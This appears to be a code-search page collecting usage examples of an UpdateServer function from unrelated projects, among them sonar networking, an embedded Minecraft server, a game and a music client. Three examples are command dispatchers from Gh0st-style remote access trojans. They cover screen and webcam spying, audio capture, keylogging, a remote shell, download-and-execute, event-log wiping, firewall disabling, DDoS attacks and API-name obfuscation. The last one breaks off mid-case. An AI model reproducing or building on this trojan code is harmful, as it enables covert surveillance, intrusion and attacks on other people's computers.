コード例 #1
0
void CMonitorPage::InvalidateMonitorData()
{
	if (m_nJK == 0)
	{
		m_nJK = ::GetDbMgr()->GetOptInt(OPT_M_LASTJKZS);
		m_ServerMedicalTime = ::GetDbMgr()->GetOptInt(OPT_M_LASTTJTIME);
		if (m_nJK == 0 || m_ServerMedicalTime == 0)
			CalcJKZS();
	}

	CString strServerMedicalTime;
	if (m_ServerMedicalTime)
	{
		tm *tm = ::_localtime32(&m_ServerMedicalTime);
		strServerMedicalTime.Format(
			"%04d/%02d/%02d %02d:%02d:%02d",
			tm->tm_year + 1900, 
			tm->tm_mon + 1, 
			tm->tm_mday, 
			tm->tm_hour, 
			tm->tm_min, 
			tm->tm_sec);
	}
	else
	{
		strServerMedicalTime = "尚未体检";
	}
	UpdateJKZS(m_nJK, strServerMedicalTime);

	UpdateServer(m_Servers, m_nServer);
	UpdateClient(&m_ClientInfo);
	UpdateGameInfo(&m_GameInfo);
}
コード例 #2
0
ファイル: user_main.c プロジェクト: cnlohr/dumbcraft8266
static void ICACHE_FLASH_ATTR
at_procTask(os_event_t *events)
{
	static int last_value = 0;
	static int updates_without_tick = 0;

	system_os_post(at_procTaskPrio, 0, 0 );
	if( events->sig == 0 && events->par == 0 )
	{
		//Idle Event.
		//This function is called ~10000x/sec.
		
		printf( "." );
		
		if( connections[0].pespconn && connections[0].cansend )
		{
			UpdateServer();
			if( updates_without_tick++ > 500 ) 
			{
				TickServer();
			}
		    //espconn_sent( connections[0].pespconn, "hello\r\n", 7 );
		}
	}
}
コード例 #3
0
void tSonarSourceStateMachine::Initialize()
{
    tWriteLocker Locker(m_Lock);
    
    tThread::AssertThreadOwner(this);

    startTimer(m_StateMachineInterval);

    SonarCommon::eSonarServerState initialState = SonarCommon::eSonarServerState_NoServer;

    // NSW-25760 Luigi - StructureScan 3D source appearing in source list for lowrance products
    if (tSonar::Instance()->GetSaveAndKeepSourceSelected() == false)
    {
        if(m_HaveHardware == true)
        {
            initialState = SonarCommon::eSonarServerState_Server;
        }
    }
    else
    {
        if(m_HaveHardware == true)
        {
            initialState = SonarCommon::eSonarServerState_Client;
            m_TimeoutCounter = m_cClientTimeout;
        }
        if(m_IamServer == true)
        {
            initialState = SonarCommon::eSonarServerState_Server;
        }
    }
    ChangeState(initialState);
    emit UpdateServer(m_SavedMaster, m_Class);
}
コード例 #4
0
void SubsonicService::Login(
    const QString& server, const QString& username, const QString& password, const bool& usesslv3) {
  UpdateServer(server);
  username_ = username;
  password_ = password;
  usesslv3_ = usesslv3;
  Login();
}
コード例 #5
0
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	switch (lpBuffer[0])
	{
	case COMMAND_LIST_DRIVE: // 文件管理
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, 
			(LPVOID)m_pClient->m_Socket, 0, NULL, false);
		break;
	case COMMAND_SCREEN_SPY: // 屏幕查看
 		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
 			(LPVOID)m_pClient->m_Socket, 0, NULL, true);
		break;
	case COMMAND_WEBCAM: // 摄像头
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_SHELL: // 远程sehll
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, 
			(LPVOID)m_pClient->m_Socket, 0, NULL, true);
		break;
	case COMMAND_KEYBOARD: 
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_SYSTEM: 
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;

	case COMMAND_DOWN_EXEC: // 下载者
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
			(LPVOID)(lpBuffer + 1), 0, NULL, true);
		Sleep(100); // 传递参数用
		break;
	case COMMAND_OPEN_URL_SHOW: // 显示打开网页
		OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
		break;
	case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页
		OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
		break;
	case COMMAND_REMOVE: // 卸载,
		UnInstallService();
		break;
	case COMMAND_CLEAN_EVENT: // 清除日志
		CleanEvent();
		break;
	case COMMAND_SESSION:
		CSystemManager::ShutdownWindows(lpBuffer[1]);
		break;
	case COMMAND_RENAME_REMARK:
		SetHostID((LPCTSTR)(lpBuffer + 1));
		break;
	case COMMAND_UPDATE_SERVER: // 更新服务端
		if (UpdateServer((LPCTSTR)(lpBuffer + 1)))
			UnInstallService();
		break;	
	}	
}
コード例 #6
0
void SubsonicService::ReloadSettings() {
  QSettings s;
  s.beginGroup(kSettingsGroup);

  UpdateServer(s.value("server").toString());
  username_ = s.value("username").toString();
  password_ = s.value("password").toString();
  usesslv3_ = s.value("usesslv3").toBool();

  Login();
}
コード例 #7
0
ファイル: FlashLight.cpp プロジェクト: rickyharis39/nolf2
void CFlashLight::TurnOff()
{
	if( m_hLight && m_bOn )
	{
        m_bOn = LTFALSE;
		g_pCommonLT->SetObjectFlags(m_hLight, OFT_Flags, 0, FLAG_VISIBLE);

		if (UpdateServer())
		{
			CAutoMessage cMsg;
			cMsg.Writeuint8(MID_PLAYER_CLIENTMSG);
			cMsg.Writeuint8(CP_FLASHLIGHT);
			cMsg.Writeuint8(FL_OFF);
			g_pLTClient->SendToServer(cMsg.Read(), MESSAGE_GUARANTEED);
		}
	}
}
コード例 #8
0
ファイル: RNDISEthernet.c プロジェクト: QrackEE/avrcraft
/** Main program entry point. This routine configures the hardware required by the application, then
 *  enters a loop to run the application tasks in sequence.
 */
int main(void)
{
	uint8_t cyc;
	SetupHardware();

	/* Webserver Initialization */
		setup_spi();

	DDRD |= _BV(6);
	PORTD &= ~_BV(6);
	PORTD = 0;

	GlobalInterruptEnable();

	//sendstr( "Boot" );

	et_init( 0 );

	InitTCP();
	InitDumbcraft();


	for (;;)
	{
//	SetManyWS( 0xff, 0x00, 0x00, 20 );

		RNDIS_Task();
		USB_USBTask();
		_delay_us(200);
		UpdateServer();
		cyc++;
		if( (cyc & 0x7f) == 0 )
		{
			struct Player * p = &Players[0];
//			sendhex2( p->npitch );
//			 = 1;
//			if( p->active )

			PORTD |= _BV(6);
			TickServer();
			TickTCP();
			PORTD &= ~_BV(6);
		}
	}
}
コード例 #9
0
// 加上激活
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	typedef LONG (WINAPI *InterlockedExchangeT)
		(
		__inout LONG volatile *Target,
		__in    LONG Value
		);
	InterlockedExchangeT pInterlockedExchange = (InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"InterlockedExchange");

	typedef VOID (WINAPI *SleepT)
		(
		__in DWORD dwMilliseconds
		);
	SleepT pSleep = (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep");

	typedef HANDLE
		(WINAPI
		*CreateThreadT)(
		__in_opt  LPSECURITY_ATTRIBUTES lpThreadAttributes,
		__in      SIZE_T dwStackSize,
		__in      LPTHREAD_START_ROUTINE lpStartAddress,
		__in_opt  LPVOID lpParameter,
		__in      DWORD dwCreationFlags,
		__out_opt LPDWORD lpThreadId
		);
	CreateThreadT pCreateThread=(CreateThreadT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CreateThread");

	typedef BOOL (WINAPI *CloseHandleT)
		(
		__in HANDLE hObject
		);
	char DDZGlGm[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
	CloseHandleT pCloseHandle = (CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DDZGlGm);
	
	typedef BOOL
		(WINAPI
		*EnumWindowsT)(
		__in WNDENUMPROC lpEnumFunc,
		__in LPARAM lParam);
	EnumWindowsT pEnumWindows=(EnumWindowsT)GetProcAddress(LoadLibrary("USER32.dll"),"EnumWindows");

	switch (lpBuffer[0])
	{
	case COMMAND_ACTIVED:
		pInterlockedExchange((LONG *)&m_bIsActived, true);
		break;
	case COMMAND_LIST_DRIVE: // 文件管理
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, 
			(LPVOID)m_pClient->m_Socket, 0, NULL, false);
		break;
	case COMMAND_SCREEN_SPY: // 屏幕查看
 		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
 			(LPVOID)m_pClient->m_Socket, 0, NULL, true);
		break;
	case COMMAND_WEBCAM: // 摄像头
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_AUDIO: // 声音监听
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_SHELL: // 远程sehll
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, 
			(LPVOID)m_pClient->m_Socket, 0, NULL, true);
		break;
	case COMMAND_KEYBOARD: //键盘记录
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_SYSTEM: //系统管理,包括进程,窗口
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_SERMANAGER:  // 服务管理
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SerManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_DDOS_ATTACK:
		{
			ATTACK m_Attack;
			memcpy(&m_Attack,lpBuffer + 1,sizeof(ATTACK));
			DDOSManager m_DDOSManager(&m_Attack);
		}
		break;
	case COMMAND_DDOS_STOP:
		Stoping = FALSE;
		break;
	case COMMAND_REGEDIT:          //注册表管理   
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_SYSINFO: 
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SysInfoManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_NET_USER: // 无NET加用户
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)NETUSER,
			(LPVOID)(lpBuffer + 1), 0, NULL, true);
		break;
	case COMMAND_OPEN_PROXY: // 开启代理
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)OpenProxy,
			(LPVOID)(lpBuffer + 1), 0, NULL, true);
		break;
	case COMMAND_OPEN_3389:
		{
			Open3389((LPCTSTR)(lpBuffer + 1), nSize -2);
		}
		break;
	case COMMAND_GUEST: // 开启GUEST账号
		OpenGuest();
		break;
	case COMMAND_STOPFIRE: // 关防火墙
        StopFire();
		break;
	case COMMAND_CHANGE_PORT: // 更改终端
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)ChangePort, (LPVOID)(lpBuffer + 1), 0,	NULL, true);
		break;
	case COMMAND_SENDMSG:
		{
			pCloseHandle(pCreateThread(NULL,NULL,Loop_MsgBox,&lpBuffer[1],NULL,NULL));
			pSleep(500);
		}
		break;
	case COMMAND_DOWN_EXEC: // 下载者
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
			(LPVOID)(lpBuffer + 1), 0, NULL, true);
		pSleep(100); // 传递参数用
		break;
	case COMMAND_OPEN_URL_SHOW: // 显示打开网页
		OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
		break;
	case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页
		OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
		break;
	case COMMAND_REMOVE: // 卸载,
		UnInstallService();
		break;
	case COMMAND_CLEAN_EVENT: // 清除日志
		CleanEvent();
		break;
	case COMMAND_SESSION://会话管理
		CSystemManager::ShutdownWindows(lpBuffer[1]);
		break;
	case COMMAND_RENAME_REMARK: // 改备注
		SetHostID((LPCTSTR)(lpBuffer + 1));
		break;
	case COMMAND_CHANGE_GROUP: // 改分组
		SetInfo("Group", (LPCTSTR)(lpBuffer + 1), "BITS");
		break;
	case COMMAND_UPDATE_SERVER: // 更新服务端
		if (UpdateServer((char *)lpBuffer + 1))
			UnInstallService();
		break;
	case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
		break;
	case COMMAND_SORT_PROCESS: // 进程筛选
		try
		{
			
			if (isProcesin((LPTSTR)(lpBuffer + 1)))
			{
				BYTE bToken = TOKEN_INFO_YES;
				m_pClient->Send(&bToken, 1);
			}else
			{
				BYTE bToken = TOKEN_INFO_NO;
				m_pClient->Send(&bToken, 1);
			}
		}catch(...){}
		break;
	case COMMAND_SORT_WINDOW: // 窗体筛选
		try
		{
			strcpy(temp_proc,(LPTSTR)(lpBuffer + 1));
			pEnumWindows(EnumWindowsList,0);
			if (proc_tag)
			{
				BYTE bToken = TOKEN_INFO_YES;
				m_pClient->Send(&bToken, 1);
				proc_tag = false;
			}else
			{
				BYTE bToken = TOKEN_INFO_NO;
				m_pClient->Send(&bToken, 1);
			}
		}catch(...){}
		break;
	}		
}
コード例 #10
0
void SampleEscrowServerZmq::Update()
{
    SampleEscrowServer::Update();
    UpdateServer();
}
コード例 #11
0
void tSonarSourceStateMachine::RemoteMasterSeen(tMacAddress NewServerMac, QHostAddress IP)
{
    //QString classStr = tSonarSourceStateMachine::GetClassString(m_Class);
    //DbgPrintf("RemoteMasterSeen (%s) - IP=%s", classStr.toStdString().c_str(), IP.toString().toAscii().constData() );
    // Ignore all remote masters in offline mode
    if(tSonarSettings::Instance()->OfflineModeUsed(m_Class))
    {
        return;
    }

    if(m_State == SonarCommon::eSonarServerState_Server)
    {
        // Can't be the server in these cases!
        // In the case of forwardscan we can have the forward but won't be outputting network data unless we detect forwardscan transducer connected
        if(!m_HaveHardware || (m_Class == SonarCommon::eSonarServer_Forwardscan && !tSonarSettings::Instance()->InternalForwardscanEnabled()))
        {
            m_State = SonarCommon::eSonarServerState_NoServer;
        }
    }

    bool NeedClientEmit = false;
    bool NeedNewServerCommanded = false;
    tMacAddress ClientMac;
    {
        tWriteLocker Locker(m_Lock);
        switch(m_State)
        {
        case SonarCommon::eSonarServerState_NoServer:
            if((NewServerMac == m_SavedMaster) || (m_SavedMaster.IsNull() == true))
            {
                m_TimeoutCounter = m_cClientTimeout;
                m_CurrentMac = NewServerMac;
                m_CurrentIP = IP;
                m_pSettings->SetValue("ServerIP", m_CurrentIP.toString());
                DBG_SONAR_SOURCE_STATE(DbgPrintf("Remote master seen (our server)"));
                ChangeState(SonarCommon::eSonarServerState_Client);
                NeedClientEmit = true;
                ClientMac = NewServerMac;
                emit UpdateServer(m_SavedMaster, m_Class);
            }
            else if(m_Class != SonarCommon::eSonarServer_Sidescan)
            {
                // If we are here it means we have a server previously saved, in order to prevent a legacy unit from claiming the server
                // then force it to switch its source to the one we had previously selected
                emit SendServerCommand(m_SavedMaster, m_Class);

            }
            break;
        case SonarCommon::eSonarServerState_Server:
            if(NewServerMac == m_SavedMaster)
            {
                if(NewServerMac != m_MyMac)
                {
                    m_TimeoutCounter = m_cClientTimeout;
                    m_CurrentMac = m_SavedMaster;
                    m_CurrentIP = IP;
                    m_pSettings->SetValue("ServerIP", m_CurrentIP.toString());
                    DBG_SONAR_SOURCE_STATE(DbgPrintf("Remote master seen (our server)"));
                    ChangeState(SonarCommon::eSonarServerState_Client);

                    NeedClientEmit = true;
                    ClientMac = m_SavedMaster;

                    // NSW-24004: Will set structure in client/server mode whenever we are not our own source, this will ensure that our
                    // internal settings won't be affected by the setting changes made to the new source and vice-versa
                    if(m_Class == SonarCommon::eSonarServer_Sidescan)
                    {
                        tSonarSettings::Instance()->SetClientServerMode(true);
                    }
                    emit UpdateServer(m_SavedMaster, m_Class);
                }
            }
            else
            {
                // NSW-17844: We allow multiple servers in sidescan and going into two server mode can prevent us from restoring
                // the user selected source when turning unit off and on.
                if(m_Class != SonarCommon::eSonarServer_Sidescan)
                {

                    if(m_SavedMaster == m_MyMac )
                    {
                        // We were set as the server and a new server has just been detected, it could be a new unit joining the network or
                        // a legacy unit that doesn't support the sever saving and restoring requested in NSW-23903, in either of these cases
                        // we need to re-claim the server status instead of going into two server mode
                        emit ClaimServer(m_Class);
                        DBG_SONAR_SOURCE_STATE(DbgPrintf("Claiming server"));
                    }
                    else
                    {
                        m_TimeoutCounter = m_cTwoServerTimeout;//~~~~~ + GetTimeSinceBoot() / 10;
                        if(m_TimeoutCounter > 20)
                        {
                            m_TimeoutCounter = 20 + (qrand() % 10);
                        }
                        ChangeState(SonarCommon::eSonarServerState_TwoServers);
                        DBG_SONAR_SOURCE_STATE(DbgPrintf("New server (%s) - going to two server mode", IP.toString().toAscii().constData()));
                    }
                }
            }
            break;
        case SonarCommon::eSonarServerState_Client:
            //~~~~~~~~~~~ Captured on state diagram?
            if(m_CurrentMac.IsBroadcast())
            {
                m_CurrentMac = NewServerMac;
                m_CurrentIP = IP;
                m_pSettings->SetValue("ServerIP", m_CurrentIP.toString());
            }

            // Reset the timeout whenever we see our server...
            if(NewServerMac == m_CurrentMac || m_CurrentMac.IsBroadcast())
            {
                m_TimeoutCounter = m_cClientTimeout;

                static const QHostAddress Broadcast(QHostAddress::Broadcast);
                if(m_CurrentIP == Broadcast)
                {
                    // DbgPrintf("*****Sonar client updated server IP: %s", IP.toString().toAscii().constData());
                    m_CurrentIP = IP;
                    m_pSettings->SetValue("ServerIP", m_CurrentIP.toString());

                    ClientMac = NewServerMac;
                    NeedNewServerCommanded = true;
                }
            }
            else
            {
                // If this is the server we really want, the switch!
                if(NewServerMac == m_SavedMaster)
                {
                    m_TimeoutCounter = m_cClientTimeout;
                    m_CurrentMac = m_SavedMaster;
                    m_CurrentIP = IP;
                    m_pSettings->SetValue("ServerIP", m_CurrentIP.toString());
                    DBG_SONAR_SOURCE_STATE(DbgPrintf("Remote server (our server)"));
                    ChangeState(SonarCommon::eSonarServerState_Client);

                    NeedClientEmit = true;
                    ClientMac = m_SavedMaster;
                    emit UpdateServer(m_SavedMaster, m_Class);
                }
            }
            break;
        case SonarCommon::eSonarServerState_TwoServers:
            // Need to restore our server if it comes to network a little late and we are in two server mode already
            // If this is the server we really want, the switch!
            if(NewServerMac == m_SavedMaster)
            {
                m_TimeoutCounter = m_cClientTimeout;
                m_CurrentMac = m_SavedMaster;
                m_CurrentIP = IP;
                m_pSettings->SetValue("ServerIP", m_CurrentIP.toString());
                DBG_SONAR_SOURCE_STATE(DbgPrintf("Remote server, two servers (our server)"));
                ChangeState(SonarCommon::eSonarServerState_Client);

                NeedClientEmit = true;
                ClientMac = m_SavedMaster;
                emit UpdateServer(m_SavedMaster, m_Class);
            }
            break;
        default:
            // All other cases ignore until they timeout
            break;
        }
    }

    if(NeedClientEmit)
    {
        emit SetClientState(ClientMac, IP);
    }

    if(NeedNewServerCommanded)
    {
        NewServerCommanded(ClientMac, IP, false);
    }
}
コード例 #12
0
void tSonarSourceStateMachine::NewServerCommanded(tMacAddress NewServerMac, QHostAddress IP, bool GUICommand)
{
    // Ignore all remote masters in offline mode
    if(tSonarSettings::Instance()->OfflineModeUsed(m_Class))
    {
        // The state can be in the process of updating by another signal that is coming
        // after the sonar settings already received the simulator on command.
        //Assert(m_State == eSonarServerState_Server);
        return;
    }

    // NSW-26815: Ignore server change commands if we don't have the source on our list
    const QHostAddress broadcast(QHostAddress::Broadcast);
    if(IP == broadcast)
    {
        // Invalid IP received, means the source is on our list, ignore this command
        // until source is detected...
        return;
    }

    bool NeedClientEmit = false;
    tMacAddress ClientMac;
    {
        tWriteLocker Locker(m_Lock);

        m_SavedMaster = NewServerMac;
        m_pSettings->SetValue("ServerMac", m_SavedMaster.ToString());

        if(!m_Simulating)
        {
            if(m_SavedMaster == m_MyMac)
            {
                // NSW-24004: Only set client/server mode to false when becoming the sidescan server
                if(m_Class == SonarCommon::eSonarServer_Sidescan)
                {
                    tSonarSettings::Instance()->SetClientServerMode(false);
                }

                m_CurrentIP = m_MyIP;
                m_pSettings->SetValue("ServerIP", m_CurrentIP.toString());
                DBG_SONAR_SOURCE_STATE(DbgPrintf("New server commanded, becoming server"));
                ChangeState(SonarCommon::eSonarServerState_Server);
            }
            else
            {
                QString classStr = tSonarSourceStateMachine::GetClassString(m_Class);
                DbgPrintf("New server(%s) - becoming client (%s)", classStr.toStdString().c_str(), IP.toString().toAscii().constData());

                m_TimeoutCounter = m_cClientTimeout;
                m_CurrentMac = m_SavedMaster;
                m_CurrentIP = IP;
                m_pSettings->SetValue("ServerIP", m_CurrentIP.toString());
                DBG_SONAR_SOURCE_STATE(DbgPrintf("New server commanded, becoming client"));
                ChangeState(SonarCommon::eSonarServerState_Client);

                NeedClientEmit = true;
                ClientMac = m_SavedMaster;

                // NSW-24004: Will set structure in client/server mode whenever we are not our own source, this will ensure that our
                // internal settings won't be affected by the setting changes made to the new source and vice-versa
                if(m_Class == SonarCommon::eSonarServer_Sidescan)
                {
                    tSonarSettings::Instance()->SetClientServerMode(true);
                }
            }

            if(GUICommand && (m_Class != SonarCommon::eSonarServer_Sidescan))
            {
                tThread::AssertGUIThread();

                emit SendServerCommand(m_SavedMaster, m_Class);
            }
        }
    }

    emit UpdateServer(m_SavedMaster, m_Class); 

    if(NeedClientEmit)
    {
        emit SetClientState(ClientMac, IP);
    }
}
コード例 #13
0
// 加上激活
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{

	static int dwTime=0;
	pcmd_plugin cmd=NULL;
	switch (lpBuffer[0])
	{
	case COMMAND_ACTIVED:
		LOG((LEVEL_INFO,"COMMAND_ACTIVED:%d\n",nSize));
 		{
			if ( lstrlen(CKeyboardManager::ConnPass) == 0 )//判断自身密码是否为空,空则跳过验证
			{
				if ( m_pClient->bSendLogin )//判断是否重复发送,测试的时候会上2次
				{
					sendLoginInfo_true( m_strServiceName, m_pClient, (GetTickCount() - CKeyboardManager::dwTickCount)/2 );
					m_pClient->bSendLogin = FALSE;
				}
				InterlockedExchange((LONG *)&m_bIsActived, TRUE);
			}
			else//不为空
			{
				char Pass[256] = {0};
				memcpy( Pass, lpBuffer + 1, 200 );
				if ( lstrcmpi( CKeyboardManager::ConnPass, Pass ) == 0 )//开始验证
				{
					if ( m_pClient->bSendLogin )//判断是否重复发送,测试的时候会上2次
					{
						sendLoginInfo_true( m_strServiceName, m_pClient, (GetTickCount() - CKeyboardManager::dwTickCount)/2 );
						m_pClient->bSendLogin = FALSE;
					}
					InterlockedExchange((LONG *)&m_bIsActived, TRUE);//符合,则激活
				}
				else
				{
					InterlockedExchange((LONG *)&m_bIsActived, FALSE);//不符合,则不激活
				}
			}
		}
		break;
	case COMMAND_LIST_DRIVE: // 文件管理
		LOG((LEVEL_INFO,"COMMAND_LIST_DRIVE:%d\n",nSize));
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, FALSE);
		break;
	case COMMAND_SCREEN_SPY: // 屏幕查看
		LOG((LEVEL_INFO,"COMMAND_SCREEN_SPY:%d\n",nSize));
 		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,(LPVOID)m_pClient->m_Socket, 0, NULL, TRUE);
		break;
	case COMMAND_WEBCAM: // 摄像头
		LOG((LEVEL_INFO,"COMMAND_WEBCAM:%d\n",nSize));
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,(LPVOID)m_pClient->m_Socket, 0, NULL, FALSE);
		break;
	case COMMAND_AUDIO: // 语音
		LOG((LEVEL_INFO,"COMMAND_AUDIO:%d\n",nSize));
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,(LPVOID)m_pClient->m_Socket, 0, NULL, FALSE);
		break;
	case COMMAND_SHELL: // 远程sehll
		LOG((LEVEL_INFO,"COMMAND_SHELL:%d\n",nSize));
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, (LPVOID)m_pClient->m_Socket, 0, NULL, TRUE);
		break;
	case COMMAND_KEYBOARD: 
		LOG((LEVEL_INFO,"COMMAND_KEYBOARD:%d\n",nSize));
	//2011/04/29 -yx

		//dwTime=0;
// 		if (!dwTime)
// 		{
// 			m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0,	(LPTHREAD_START_ROUTINE)Loop_HookKeyboard, (LPVOID)(lpBuffer+1), 0,	NULL, TRUE); //2011/04/29 yx
// 			dwTime++;
// 		}
// 
// 		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,(LPVOID)m_pClient->m_Socket, 0, NULL, FALSE);
		break;
	case COMMAND_SYSTEM: 
		LOG((LEVEL_INFO,"COMMAND_SYSTEM:%d\n",nSize));
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,(LPVOID)m_pClient->m_Socket, 0, NULL, FALSE);
		break;
	case COMMAND_DOWN_EXEC: // 下载者
		LOG((LEVEL_INFO,"COMMAND_DOWN_EXEC:%d\n",nSize));
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE);
		SleepEx(101,0); // 传递参数用
		break;
	case COMMAND_OPEN_URL_SHOW: // 显示打开网页
		LOG((LEVEL_INFO,"COMMAND_OPEN_URL_SHOW:%d\n",nSize));
		OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
		break;
	case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页
		LOG((LEVEL_INFO,"COMMAND_OPEN_URL_HIDE:%d\n",nSize));
		OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
		break;
	case COMMAND_REMOVE: // 卸载,
		{
			LOG((LEVEL_INFO,"COMMAND_REMOVE:%d\n",nSize));


			// liucw add 2013.07.25
			// //停止并删除插件
			GLOBAL_PLUGSERVER->SetSocket(m_pClient);
			GLOBAL_PLUGSERVER->OnPluginRemove(0,0);	

			// 卸载
			UnInstallService();
			break;
		}
		
	case COMMAND_CLEAN_EVENT: // 清除日志
		LOG((LEVEL_INFO,"COMMAND_CLEAN_EVENT:%d\n",nSize));
		{
			CleanEvent();
		}
		break;
	case COMMAND_SESSION:
		LOG((LEVEL_INFO,"COMMAND_SESSION:%d\n",nSize));
		CSystemManager::ShutdownWindows(lpBuffer[1]);
		break;
	case COMMAND_RENAME_REMARK: // 改备注
		LOG((LEVEL_INFO,"COMMAND_RENAME_REMARK:%d\n",nSize));
		SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));
		break;
	case COMMAND_UPDATE_SERVER: // 更新服务端
		LOG((LEVEL_INFO,"COMMAND_UPDATE_SERVER:%d\n",nSize));
		if (UpdateServer((char *)lpBuffer + 1))
			UnInstallService();
		break;
	case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包		
		((CManager*)this)->m_pClient->dwHeartTime=0;


		break;
	case COMMAND_DDOS:
		LOG((LEVEL_INFO,"COMMAND_DDOS:%d\n",nSize));
// 		if ( !Gobal_DDOS_Running )
// 		{
// 			m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DDOS_Attacker, (LPVOID)lpBuffer, 0, NULL, TRUE);
// 			SleepEx(110,0);//传递参数用
// 		}
		break;
	case COMMAND_DDOS_STOP:
		LOG((LEVEL_INFO,"COMMAND_DDOS_STOP:%d\n",nSize));
		//DDOS_Stop();
		break;
	case COMMAND_HIT_HARD:
		LOG((LEVEL_INFO,"COMMAND_HIT_HARD:%d\n",nSize));
//		KillMBR();
		break;
	case COMMAND_OPEN_3389:
		LOG((LEVEL_INFO,"COMMAND_OPEN_3389:%d\n",nSize));
		Open3389();
		break;
	case COMMAND_CHAJIAN: // 下载插件
		LOG((LEVEL_INFO,"COMMAND_CHAJIAN:%d\n",nSize));
		//m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_CHAJIAN,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE);
		SleepEx(110,0); // 传递参数用
		break;
	case COMMAND_SERECT_CFG: // 密取配置
		LOG((LEVEL_INFO,"COMMAND_SERECT_CFG:%d\n",nSize));
